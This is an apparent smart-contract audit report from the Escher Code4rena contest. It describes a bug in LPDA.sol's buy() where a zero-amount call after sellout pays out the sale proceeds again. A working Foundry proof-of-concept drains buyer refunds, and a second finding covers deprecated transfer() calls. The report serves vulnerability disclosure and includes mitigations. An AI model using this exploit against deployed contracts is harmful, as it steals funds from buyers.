Escher contest - fs0c's results

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L58

Vulnerability details

Impact

Sale creator and feeReceiver can get the sale amount multiple times, hence stealing from the bidders/buyers in LPDA contract.

In the buy function a buyer can place bids with amount greater than the current price of the nft and the contract would refund them the remaining amount as the price of the nft drops with time.

When the last nft is sold, the function would come to the following condition and the totalSale amount would be distributed between saleReceiver and feeReceiver .

if (newId == temp.finalId) {
            sale.finalPrice = uint80(price);
            uint256 totalSale = price * amountSold;
            uint256 fee = totalSale / 20;
            ISaleFactory(factory).feeReceiver().transfer(fee);
            temp.saleReceiver.transfer(totalSale - fee);
            _end();
        }

There are two bugs in the buy function in LDPA.sol contract:

1. It doesn’t revert if the _amount argument is 0.
2. Anyone can call the function even after the finalId is equal to the currentId.

These bugs can be misused to call the buy function with 0 _amount after all the nfts are minted. Calling this would pass all the checks and would come in the above condition where the totalSale amount would be distributed again between saleReceiver and feeReceiver.

This call can be done multiple times and the totalSale would be distributed multiple times till there is not enough ETH to make the calls.

POC

Assume a scenario with the following sale details:

lpdaSale = LPDA.Sale({
            currentId: uint48(0),
            finalId: uint48(10),
            edition: address(edition),
            startPrice: uint80(uint256(1 ether)),
            finalPrice: uint80(uint256(0.1 ether)),
            dropPerSecond: uint80(uint256(0.1 ether) / 1 days),
            startTime: uint96(block.timestamp),
            saleReceiver: payable(address(69)),
            endTime: uint96(block.timestamp + 2 days)
        });

Now alice wants to buy the nfts so she places bids at 2 ether for each nft even when the startprice is 1 ether, knowing that she will get the remaining amount back after the bid ends.

In buy function the value of newId after the nfts are minted would be 10 which would be equal to temp.finalId , this would make the function go in the if statement discussed above and would transfer the totalSale between saleReceiver and feeReceiver.

Now a malicious user , saleReceiver or feeReceiver (for their own profit) can call the buy function again with 0 as the argument, this would pass all the checks and the function would transfer the totalSale again between saleReceiver and feeReceiver as there are enough ETH in the contract.

If after the bid ends , alice would try to call the refund function, it would revert because there isn’t enough money in the contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import {EscherTest} from "./utils/EscherTest.sol";
import {LPDAFactory, LPDA} from "src/minters/LPDAFactory.sol";

contract LPDABase is EscherTest {
    LPDAFactory public lpdaSales;
    LPDA.Sale public lpdaSale;

    function setUp() public virtual override {
        super.setUp();
        lpdaSales = new LPDAFactory();
        // set up a LPDA Sale
        lpdaSale = LPDA.Sale({
            currentId: uint48(0),
            finalId: uint48(10),
            edition: address(edition),
            startPrice: uint80(uint256(1 ether)),
            finalPrice: uint80(uint256(0.1 ether)),
            dropPerSecond: uint80(uint256(0.1 ether) / 1 days),
            startTime: uint96(block.timestamp),
            saleReceiver: payable(address(69)),
            endTime: uint96(block.timestamp + 2 days)
        });
    }
}

contract LPDATest is LPDABase {
    LPDA public sale;
    event End(LPDA.Sale _saleInfo);

    function test_LPDA() public {
        address alice = vm.addr(1);
        vm.label(address(alice),"Alice");
        vm.deal(alice , 50 ether);
        
        // make the lpda sales contract
        sale = LPDA(lpdaSales.createLPDASale(lpdaSale));
        // authorize the lpda sale to mint tokens
        edition.grantRole(edition.MINTER_ROLE(), address(sale));
        //lets buy an NFT
        vm.prank(alice);
        sale.buy{value: 20 ether}(10);
        
        emit log_named_decimal_uint( "Sale Receiver balance before hack", address(69).balance,18);
        emit log_named_decimal_uint( "Sale balance before hack", address(sale).balance,18);

        vm.warp(block.timestamp + 1 days);

        sale.buy(0); // [bug here]

        emit log_named_decimal_uint( "Sale Receiver balance after hack", address(69).balance,18);
        emit log_named_decimal_uint( "Sale balance after hack", address(sale).balance,18);
        emit log_named_decimal_uint( "Alice balance", address(alice).balance,18);

        vm.warp(block.timestamp + 3 days);
        vm.prank(alice);
        vm.expectRevert();
        sale.refund(); // alice won't be able to get the refund as there is no money left in the contract
    }
}

Output

[PASS] test_LPDA() (gas: 723831)
Logs:
  Sale Receiver balance before hack: 9.500000000000000000
  Sale balance before hack: 10.000000000000000000
  Sale Receiver balance after hack: 19.000000000000000000
  Sale balance after hack: 0.000000000000000000
  Alice balance: 30.000000000000000000

Sale receiver should receive 9.5 ETH but got 19 and now alice(the buyer) won’t be able to get the refund

Recommended Mitigation Steps

Creating a revert statement at the begining which would revert the transaction if currentId == finalId should work.

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/OpenEdition.sol#L92 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L85 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L86 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L105 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/FixedPrice.sol#L109

Vulnerability details

Impact

The use of the deprecated transfer() function for an address will inevitably make the transaction fail when:

1. The claimer smart contract does not implement a payable function.
2. The claimer smart contract does implement a payable fallback which uses more than 2300 gas unit.
3. The claimer smart contract implements a payable fallback function that needs less than 2300 gas units but is called through proxy, raising the call's gas usage above 2300.

Additionally, using higher than 2300 gas might be mandatory for some multisig wallets.

Impacted Lines

./OpenEdition.sol:92:        ISaleFactory(factory).feeReceiver().transfer(address(this).balance / 20);
./LPDA.sol:85:            ISaleFactory(factory).feeReceiver().transfer(fee);
./LPDA.sol:86:            temp.saleReceiver.transfer(totalSale - fee);
./LPDA.sol:105:        payable(msg.sender).transfer(owed);
./FixedPrice.sol:109:        ISaleFactory(factory).feeReceiver().transfer(address(this).balance / 20);

Recommended Mitigation Steps

It would be better to use call instead of transfer and add a reentrancyGuard modifier to stay protected from any reentrancy bugs.